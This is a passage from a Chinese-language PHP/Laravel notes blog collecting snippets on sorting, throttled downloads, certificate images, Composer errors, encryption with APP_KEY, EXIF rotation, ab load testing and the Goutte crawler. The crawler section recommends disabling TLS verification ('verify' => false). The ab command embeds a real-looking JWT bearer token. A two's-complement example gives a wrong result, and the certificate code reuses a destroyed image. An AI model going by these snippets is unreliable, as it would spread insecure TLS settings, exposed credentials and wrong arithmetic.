class="comment">/*swap$array[$i]and$array[$min]即将当前内循环的最小元素放在$i位置上*/</span></span><br><span class="line">            <span class="keyword">if</span>($min!=$i)&#123;<span class="comment">//如果找出的最小的元素不在当前的循环的索引位置</span></span><br><span class="line">                $temp=$array[$min];<span class="comment">//当前元素存储临时变量</span></span><br><span class="line">                $array[$min]=$array[$i];<span class="comment">//把最小位置上的元素替换成当前的元素</span></span><br><span class="line">                $array[$i]=$temp;<span class="comment">//把当前的元素替换成最小的元素</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> $array;</span><br><span class="line">    &#125;</span><br><span class="line"><span class="comment">//模式分隔符后的"i"标记这是一个大小写不敏感的搜索</span></span><br><span class="line"><span class="keyword">if</span> (preg_match(<span class="string">"/php/i"</span>, <span class="string">"PHP is the web scripting language of choice."</span>)) &#123;</span><br><span class="line">    echo <span class="string">"查找到匹配的字符串 php。"</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    echo <span class="string">"未发现匹配的字符串 php。"</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="大文件传输解决方案"><a href="#大文件传输解决方案" class="headerlink" title="大文件传输解决方案"></a>大文件传输解决方案</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">sliceDownload</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line"></span><br><span class="line">        $path = <span class="string">'slice/'</span>.date(<span class="string">'Ymd'</span>)  ;</span><br><span class="line"></span><br><span class="line">        $filename = $path .<span class="string">'/'</span>. <span class="string">'周杰伦 - 黑色幽默 [mqms2].mp3'</span> ;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//获取文件资源https://learnku.com/articles/31108</span></span><br><span class="line">        $file = Storage::disk(<span class="string">'admin'</span>)-&gt;readStream($filename);</span><br><span class="line"></span><br><span class="line">        <span class="comment">//获取文件大小</span></span><br><span class="line">        $fileSize = Storage::disk(<span class="string">'admin'</span>)-&gt;size($filename);</span><br><span class="line"></span><br><span class="line">        header(<span class="string">"Content-type:application/octet-stream"</span>);<span class="comment">//设定header头为下载</span></span><br><span class="line">        header(<span class="string">"Accept-Ranges:bytes"</span>);</span><br><span class="line">        header(<span class="string">"Accept-Length:"</span>.$fileSize);<span class="comment">//响应大小</span></span><br><span class="line">        header(<span class="string">"Content-Disposition: attachment; filename=周杰伦 - 黑色幽默 [mqms2].mp3"</span>);<span class="comment">//文件名</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">//不设置的话要等缓冲区满之后才会响应</span></span><br><span class="line">        ob_end_clean();<span class="comment">//缓冲区结束</span></span><br><span class="line">        ob_implicit_flush();<span class="comment">//强制每当有输出的时候,即刻把输出发送到浏览器\</span></span><br><span class="line">        header(<span class="string">'X-Accel-Buffering: no'</span>); <span class="comment">// 不缓冲数据</span></span><br><span class="line"></span><br><span class="line">        $limit=<span class="number">1024</span>*<span class="number">1024</span>;</span><br><span class="line">        $count=<span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//限制每秒的速率</span></span><br><span class="line">        <span class="keyword">while</span>($fileSize-$count&gt;<span class="number">0</span>)&#123;<span class="comment">//循环读取文件数据</span></span><br><span class="line">            $data=fread($file,$limit);</span><br><span class="line">            $count+=$limit;</span><br><span class="line">            echo $data;<span class="comment">//输出文件</span></span><br><span class="line">            sleep(<span class="number">1</span>);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure>
<h3 id="PHP-生成奖状"><a href="#PHP-生成奖状" class="headerlink" title="PHP 生成奖状"></a>PHP 生成奖状</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">ob_clean();</span><br><span class="line">$realname = <span class="string">"姓名:最闲的码农"</span>;</span><br><span class="line">$schoolname = <span class="string">"社区:Laravel"</span>; </span><br><span class="line"></span><br><span class="line">$image = imagecreatefrompng(<span class="string">'1562926506930.png'</span>);      <span class="comment">//书模版图片文件的路径 必须是png格式的文件</span></span><br><span class="line">$red = imagecolorallocate($image,<span class="number">00</span>,<span class="number">00</span>,<span class="number">00</span>); <span class="comment">// 字体颜色</span></span><br><span class="line"><span class="comment">// imageTTFText("Image", "Font Size", "Rotate Text", "Left Position","Top Position", "Font Color", "Font Name", "Text To Print");</span></span><br><span class="line"><span class="comment">//根据文本填写的位置不同https://learnku.com/articles/31120</span></span><br><span class="line"><span class="comment">//"Left Position 和 Top Position 可以使用 getimagesize进行配合计算文字x和y轴坐标</span></span><br><span class="line">imageTTFText($image, <span class="number">50</span>, <span class="number">0</span>, <span class="number">628</span>, <span class="number">615</span>, $red, <span class="string">'simheittf.ttf'</span>,$realname);</span><br><span class="line">imageTTFText($image, <span class="number">50</span>, <span class="number">0</span>, <span class="number">628</span>, <span class="number">714</span>, $red, <span class="string">'simheittf.ttf'</span>, $schoolname);</span><br><span class="line">header(<span class="string">'Content-type: image/png;'</span>);</span><br><span class="line">ImagePng($image);</span><br><span class="line">imagedestroy($image);</span><br><span class="line">$filename = <span class="string">'certificate_aadarsh.png'</span>;</span><br><span class="line">ImagePng($image, $filename);</span><br><span class="line">imagedestroy($image);</span><br></pre></td></tr></table></figure>
<h3 id="Composer-install-报错"><a href="#Composer-install-报错" class="headerlink" title="Composer install 报错"></a>Composer install 报错</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Finished: success: <span class="number">62</span>, <span class="attr">skipped</span>: <span class="number">0</span>, <span class="attr">failure</span>: <span class="number">0</span>, <span class="attr">total</span>: <span class="number">62</span></span><br><span class="line">Package operations: <span class="number">62</span> installs, <span class="number">0</span> updates, <span class="number">0</span> removals</span><br><span class="line">  - Installing kylekatarnls/update-helper (<span class="number">1.1</span><span class="number">.1</span>): Loading <span class="keyword">from</span> cache</span><br><span class="line">Plugin installation failed, rolling back</span><br><span class="line">  - Removing kylekatarnls/update-helper (<span class="number">1.1</span><span class="number">.1</span>)</span><br><span class="line"></span><br><span class="line">  [RuntimeException]</span><br><span class="line">  Could not <span class="keyword">delete</span> /home/vagrant/code/w2_support-<span class="regexp">/vendor/</span>kylekatarnls/update-helper/src/   </span><br><span class="line">  UpdateHelper:</span><br><span class="line">  composer install --no-plugins</span><br><span class="line">  我的问题解决了.!https:<span class="comment">//learnku.com/laravel/t/31137</span></span><br></pre></td></tr></table></figure>
<h3 id="PHP-FPM-与-Nginx-的通信机制总结"><a href="#PHP-FPM-与-Nginx-的通信机制总结" class="headerlink" title="PHP-FPM 与 Nginx 的通信机制总结"></a>PHP-FPM 与 Nginx 的通信机制总结</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">PHP-FPM 即 PHP-FastCGI Process Manager， 它是 FastCGI 的实现，并提供了进程管理的功能。进程包含 master 进程和 worker 进程两种；master 进程只有一个，负责监听端口，接收来自服务器的请求，而 worker 进程则一般有多个（具体数量根据实际需要进行配置），每个进程内部都会嵌入一个 PHP 解释器，是代码真正执行的地方</span><br><span class="line">https:<span class="comment">//learnku.com/articles/23694</span></span><br><span class="line"></span><br><span class="line">  www.test.com</span><br><span class="line">        |</span><br><span class="line">        |</span><br><span class="line">      Nginx</span><br><span class="line">        |</span><br><span class="line">        |</span><br><span class="line">路由到 www.test.com/index.php</span><br><span class="line">        |</span><br><span class="line">        |</span><br><span class="line">加载 nginx 的 fast-cgi 模块</span><br><span class="line">        |</span><br><span class="line">        |</span><br><span class="line">fast-cgi 监听 <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">9000</span> 地址</span><br><span class="line">        |</span><br><span class="line">        |</span><br><span class="line">www.test.com/index.php 请求到达 <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">9000</span></span><br><span class="line">        |</span><br><span class="line">        |</span><br><span class="line">     等待处理...</span><br></pre></td></tr></table></figure>
<h3 id="Laravel-报错：PHP-Fatal-error-Uncaught-ReflectionException-Class-request-does-not-exist"><a href="#Laravel-报错：PHP-Fatal-error-Uncaught-ReflectionException-Class-request-does-not-exist" class="headerlink" title="Laravel 报错：PHP Fatal error: Uncaught ReflectionException: Class request does not exist"></a>Laravel 报错：PHP Fatal error: Uncaught ReflectionException: Class request does not exist</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">在 App\Exceptions\Handler::report() 方法里，使用：</span><br><span class="line"></span><br><span class="line">dd($exception);</span><br><span class="line">即可打印更详细的报错信息，知道问题在哪https:<span class="comment">//learnku.com/laravel/t/31178</span></span><br></pre></td></tr></table></figure>
<h3 id="JSON-响应出现浮点小数溢出"><a href="#JSON-响应出现浮点小数溢出" class="headerlink" title="JSON 响应出现浮点小数溢出"></a>JSON 响应出现浮点小数溢出</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">调整 php.ini 中 serialize_precision (序列化精度) 的大小来解决这个问题。</span><br><span class="line"></span><br><span class="line">默认值 serialize_precision = <span class="number">-1</span></span><br><span class="line">将这个值改为 小于 <span class="number">17</span> 的数字就解决了这个问题，最后一直往小调，我 <span class="number">14</span> 的时候就没有问题了</span><br><span class="line">https:<span class="comment">//wiki.php.net/rfc/precise_float_value https://learnku.com/articles/31194</span></span><br></pre></td></tr></table></figure>
<h3 id="原码、反码、补码"><a href="#原码、反码、补码" class="headerlink" title="原码、反码、补码"></a>原码、反码、补码</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">正数的原码、反码、补码都一样</span><br><span class="line"></span><br><span class="line">负数的反码 = 它的原码符号位不变，其他取反（<span class="number">0</span>-&gt;<span class="number">1</span> , <span class="number">1</span>-&gt;<span class="number">0</span>）</span><br><span class="line"></span><br><span class="line">负数的补码 = 它的反码 + <span class="number">1</span></span><br><span class="line"></span><br><span class="line"> <span class="number">1</span> ==&gt; 原码 [<span class="number">0000</span> <span class="number">0001</span>]   反码[<span class="number">0000</span> <span class="number">0001</span>]   补码[<span class="number">0000</span> <span class="number">0001</span>]</span><br><span class="line"></span><br><span class="line"><span class="number">-1</span> ==&gt; 原码 [<span class="number">1000</span> <span class="number">0001</span>]   反码[<span class="number">1111</span> <span class="number">1110</span>]   补码[<span class="number">1111</span> <span class="number">1111</span>]</span><br><span class="line"><span class="number">0</span> 的反码，补码都是 <span class="number">0</span></span><br><span class="line"></span><br><span class="line">在计算机运算的时候，都是以补码的方式来计算的</span><br><span class="line"></span><br><span class="line"><span class="number">1</span>+<span class="number">1</span>   <span class="number">1</span><span class="number">-1</span> = <span class="number">1</span>+（<span class="number">-1</span>）</span><br><span class="line">按位与 &amp; ： 两位全为１，结果为 <span class="number">1</span>，否则为 <span class="number">0</span></span><br><span class="line"></span><br><span class="line">按位或 | : 两位有一个为 <span class="number">1</span>，结果为 <span class="number">1</span>，否则为 <span class="number">0</span></span><br><span class="line"></span><br><span class="line">按位异或 ^ : 两位一个为 <span class="number">0</span>, 一个为 <span class="number">1</span>，结果为 <span class="number">1</span>，否则为 <span class="number">0</span></span><br><span class="line"><span class="comment">//2&amp;3</span></span><br><span class="line"><span class="comment">//2的补码 0000 0010</span></span><br><span class="line"><span class="comment">//3的补码 0000 0011</span></span><br><span class="line"><span class="comment">//2&amp;3     0000 0010 =&gt;2</span></span><br><span class="line"><span class="comment">//2|3     0000 0011 =&gt;3</span></span><br><span class="line"><span class="comment">//2^3     0000 0001 =&gt;1</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//-2^2</span></span><br><span class="line"><span class="comment">//-2的原码 1000 0010</span></span><br><span class="line"><span class="comment">//-2的反码 1111 1101</span></span><br><span class="line"><span class="comment">//-2的补码 1111 1110</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//2 的补码  0000 0010</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//-2^2</span></span><br><span class="line"><span class="comment">//-2的补码 1111 1110</span></span><br><span class="line"><span class="comment">//2 的补码 0000 0010</span></span><br><span class="line"><span class="comment">//-2^2     1111 1100 （补码）</span></span><br><span class="line"><span class="comment">//-2^2     1111 1011 （反码）</span></span><br><span class="line"><span class="comment">//-2^2     1000 0100  （原码） =&gt; 4</span></span><br><span class="line"></span><br><span class="line">https:<span class="comment">//learnku.com/articles/31179</span></span><br></pre></td></tr></table></figure>
<h3 id="APP-KEY"><a href="#APP-KEY" class="headerlink" title="APP_KEY"></a>APP_KEY</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">只有一个地方会用到 APP_KEY：cookies。Laravel 使用它来加密所有的 cookies，在将 cookie 返回给用户之前 Laravel 会对 cookie 进行加密，然后再返回给用户，这样客户端就无法自己修改 cookie 来伪装成管理员或者其他用户了。</span><br><span class="line"></span><br><span class="line">所以的加密和解密都在 [Encrypter](https:<span class="comment">//learnku.com/docs/laravel/master/encryption#using-the-encrypter) 中进行处理，其中主要使用了 [openssl_encrypt](https://secure.php.net/manual/en/function.openssl-encrypt.php) 进行加密。</span></span><br><span class="line"></span><br><span class="line">有很多用户都会有一个误解，那就是 APP_KEY 是用来处理用户哈希密码的。事实上不是这样的。Laravel 的密码使用了 Hash::make() 或者 bcrypt() 来进行哈希处理，其中并没有用到 APP_KEY</span><br><span class="line">在 Laravel 中有两个主要的加密 Facade，分别是 Crypt（对称加密） 和 Hash（单向加密哈希）。密码是哈希，而 cookie 则是对称加密。</span><br><span class="line">$key = <span class="string">"dont-panic"</span>;</span><br><span class="line">$message = <span class="string">"So long and thanks for all the fish"</span>;</span><br><span class="line">$key = <span class="string">"dont-panic"</span>;</span><br><span class="line">$cipher = <span class="string">"AES-256-CBC"</span>;</span><br><span class="line">echo openssl_encrypt($message, $cipher, $key);</span><br><span class="line"></span><br><span class="line"><span class="comment">// JJEK8L4G3BCfY0evXDRxUke2zqAzq6i7wL/Px4SjaEHXqt3x7hsj4+PhVQaH4ujX</span></span><br><span class="line"></span><br><span class="line">$secret = <span class="string">"JJEK8L4G3BCfY0evXDRxUke2zqAzq6i7wL/Px4SjaEHXqt3x7hsj4+PhVQaH4ujX"</span>;</span><br><span class="line">$key = <span class="string">"dont-panic"</span>;</span><br><span class="line">$cipher = <span class="string">"AES-256-CBC"</span>;</span><br><span class="line">echo openssl_decrypt($secret, $cipher, $key);</span><br><span class="line"></span><br><span class="line"><span class="comment">// So long and thanks for all the fish</span></span><br><span class="line">Laravel 中使用了 PHP 的原生方法 password_hash()，它使用的哈希算法叫 bcrypt。</span><br><span class="line"></span><br><span class="line">use Illuminate\Support\Facades\Hash;</span><br><span class="line"></span><br><span class="line">$password = <span class="string">"dont-panic"</span>;</span><br><span class="line">echo Hash::make($password);</span><br><span class="line"></span><br><span class="line"><span class="comment">// $2y$10$hEEF0lv4spxnvw5O4XyLZ.QjCE1tCu8HjMpWhmCS89J0EcSW0XELu</span></span><br><span class="line">$hash = <span class="string">'$2y$10$hEEF0lv4spxnvw5O4XyLZ.QjCE1tCu8HjMpWhmCS89J0EcSW0XELu'</span>;</span><br><span class="line"><span class="keyword">return</span> Hash::check($input, $hash); https:<span class="comment">//learnku.com/articles/31169</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// 加密算法</span></span><br><span class="line"><span class="number">1.</span> $encryptMethod = <span class="string">'aes-256-cbc'</span>;</span><br><span class="line"><span class="comment">// 明文数据</span></span><br><span class="line"><span class="number">2.</span> $data = <span class="string">'Hello World'</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 生成IV</span></span><br><span class="line"><span class="number">3.</span> $ivLength = openssl_cipher_iv_length($encryptMethod);</span><br><span class="line"><span class="number">4.</span> $iv = openssl_random_pseudo_bytes($ivLength, $isStrong);</span><br><span class="line"><span class="number">5.</span> <span class="keyword">if</span> (<span class="literal">false</span> === $iv &amp;&amp; <span class="literal">false</span> === $isStrong) &#123;</span><br><span class="line"><span class="number">6.</span>     die(<span class="string">'IV generate failed'</span>);</span><br><span class="line"><span class="number">7.</span> &#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 加密</span></span><br><span class="line"><span class="number">8.</span> $encrypted = openssl_encrypt($data, $encryptMethod, <span class="string">'secret'</span>, <span class="number">0</span>, $iv);</span><br><span class="line"><span class="comment">// 解密</span></span><br><span class="line"><span class="number">9.</span> $decrypted = openssl_decrypt($encrypted, $encryptMethod, <span class="string">'secret'</span>, <span class="number">0</span>, $iv);</span><br></pre></td></tr></table></figure>
<h3 id="PHP-识别相片"><a href="#PHP-识别相片" class="headerlink" title="PHP 识别相片"></a>PHP 识别相片</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">PHP 识别相片是否是颠倒的，并且重新摆正相片https:<span class="comment">//learnku.com/articles/31235</span></span><br><span class="line">$image = imagecreatefromstring(file_get_contents($_FILES[<span class="string">'image_upload'</span>][<span class="string">'tmp_name'</span>]));</span><br><span class="line">$exif = exif_read_data($_FILES[<span class="string">'image_upload'</span>][<span class="string">'tmp_name'</span>]);</span><br><span class="line"><span class="keyword">if</span>(!empty($exif[<span class="string">'Orientation'</span>])) &#123;</span><br><span class="line">    <span class="keyword">switch</span>($exif[<span class="string">'Orientation'</span>]) &#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">8</span>:</span><br><span class="line">            $image = imagerotate($image,<span class="number">90</span>,<span class="number">0</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">3</span>:</span><br><span class="line">            $image = imagerotate($image,<span class="number">180</span>,<span class="number">0</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="number">6</span>:</span><br><span class="line">            $image = imagerotate($image,<span class="number">-90</span>,<span class="number">0</span>);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="Composer-镜像限额，出现要求用户名认证"><a href="#Composer-镜像限额，出现要求用户名认证" class="headerlink" title="Composer 镜像限额，出现要求用户名认证"></a>Composer 镜像限额，出现要求用户名认证</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">从 GitHub 下载 Zip 代码包而不是 CDN：https:<span class="comment">//learnku.com/articles/30415</span></span><br><span class="line"></span><br><span class="line">$ composer install --prefer-source</span><br><span class="line">不要在框架的 composer.json 里写死了源</span><br></pre></td></tr></table></figure>
<h3 id="AB-压测"><a href="#AB-压测" class="headerlink" title="AB 压测"></a>AB 压测</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">ab -c <span class="number">20</span> -t <span class="number">10</span> -k  -T <span class="string">"application/json"</span> -H <span class="string">"Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvd3d3LnpoemhlLmNvbSIsImlhdCI6MTU2MzE4MjA1OCwiZXhwIjoxNTY2MzM1NjU5LCJuYmYiOjE1NjMxODIwNTksImp0aSI6IlRiYXR5amhpMGJ6eHRNeEciLCJzdWIiOjEsInBydiI6Ijg3ZTBhZjFlZjlmZDE1ODEyZmRlYzk3MTUzYTE0ZTBiMDQ3NTQ2YWEifQ.PV-S7b_fbSPgtAk-6r-cDqGkoFL-UOsGJWVfQUV6p5E"</span>   http:<span class="comment">//ys.test/api/articles</span></span><br><span class="line">https:<span class="comment">//learnku.com/laravel/t/31291</span></span><br><span class="line">  public <span class="function"><span class="keyword">function</span> <span class="title">handle</span>(<span class="params">$request, Closure $next, $maxAttempts = <span class="number">60</span>, $decayMinutes = <span class="number">1</span></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $key = $<span class="keyword">this</span>-&gt;resolveRequestSignature($request);</span><br><span class="line">        $maxAttempts = $<span class="keyword">this</span>-&gt;resolveMaxAttempts($request, $maxAttempts);</span><br><span class="line">        <span class="keyword">if</span> ($<span class="keyword">this</span>-&gt;limiter-&gt;tooManyAttempts($key, $maxAttempts)) &#123;</span><br><span class="line">            <span class="keyword">throw</span> $<span class="keyword">this</span>-&gt;buildException($key, $maxAttempts);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        $<span class="keyword">this</span>-&gt;limiter-&gt;hit($key, $decayMinutes);</span><br><span class="line"></span><br><span class="line">        $response = $next($request);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> $<span class="keyword">this</span>-&gt;addHeaders(</span><br><span class="line">            $response, $maxAttempts,</span><br><span class="line">            $<span class="keyword">this</span>-&gt;calculateRemainingAttempts($key, $maxAttempts)</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line">ThrottleRequests 中间件中 <span class="number">60</span>和<span class="number">1</span> 的意思是一分钟限制 <span class="number">60</span> 次。 把客户端请求的请求源 ip 啥的，加密成 <span class="number">1</span> 个 key（代表一个独立的请求对象），存储在缓存中，如果一分钟内超过这个限制，那么服务器就抛出 <span class="number">429</span>: Too Many Attempts.</span><br><span class="line">并且在头部回传两个个响应头: X-RateLimit-Limit（限制次数）, X-RateLimit-Remaining (剩下多少次)</span><br></pre></td></tr></table></figure>
<h3 id="php爬虫框架Goutte"><a href="#php爬虫框架Goutte" class="headerlink" title="php爬虫框架Goutte"></a>php爬虫框架Goutte</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">composer <span class="built_in">require</span> fabpot/goutte</span><br><span class="line">use Goutte\Client;</span><br><span class="line">$client = <span class="keyword">new</span> Client();</span><br><span class="line">使用request()方法发起页面请求</span><br><span class="line"></span><br><span class="line"><span class="comment">// Go to the symfony.com website</span></span><br><span class="line">$crawler = $client-&gt;request(<span class="string">'GET'</span>, <span class="string">'https://www.symfony.com/blog/'</span>);</span><br><span class="line">该方法会返回一个Crawler对象(Symfony\Component\DomCrawler\Crawler).</span><br><span class="line"></span><br><span class="line">Goutte依赖Guzzle，如果要自己配置Guzzle参数的话你可以为Goutte创建一个Guzzle实例，下面我们要做一个<span class="number">60</span>秒请求超时时间，并且无需验证ssl的设定:</span><br><span class="line"></span><br><span class="line">use Goutte\Client;</span><br><span class="line">use GuzzleHttp\Client <span class="keyword">as</span> GuzzleClient;</span><br><span class="line"></span><br><span class="line">$goutteClient = <span class="keyword">new</span> Client();</span><br><span class="line">$guzzleClient = <span class="keyword">new</span> GuzzleClient(array(</span><br><span class="line">    <span class="string">'timeout'</span> =&gt; <span class="number">60</span>,</span><br><span class="line">    <span class="string">'verify'</span> =&gt; <span class="literal">false</span>,    <span class="comment">//官方example中没有这项,这个还是很必要的,不然在请求有些https站点的时候会出错,我已填坑</span></span><br><span class="line">));</span><br><span class="line">$goutteClient-&gt;setClient($guzzleClient);</span><br><span class="line">点击链接</span><br><span class="line"></span><br><span class="line"><span class="comment">// Click on the "Security Advisories" link</span></span><br><span class="line">$link = $crawler-&gt;selectLink(<span class="string">'Security Advisories'</span>)-&gt;link();</span><br><span class="line">$crawler = $client-&gt;click($link);</span><br><span class="line">提取数据</span><br><span class="line"></span><br><span class="line"><span class="comment">// Get the latest post in this category and display the titles</span></span><br><span class="line">$crawler-&gt;filter(<span class="string">'h2 &gt; a'</span>)-&gt;each(<span class="function"><span class="keyword">function</span> (<span class="params">$node</span>) </span>&#123;</span><br><span class="line">    print $node-&gt;text().<span class="string">"\n"</span>;</span><br><span class="line">&#125;);</span><br><span class="line">表单提交https:<span class="comment">//towait.com/blog/php-web-crawler-goutte/</span></span><br><span class="line"></span><br><span class="line">$crawler = $client-&gt;request(<span class="string">'GET'</span>, <span class="string">'https://github.com/'</span>);</span><br><span class="line">$crawler = 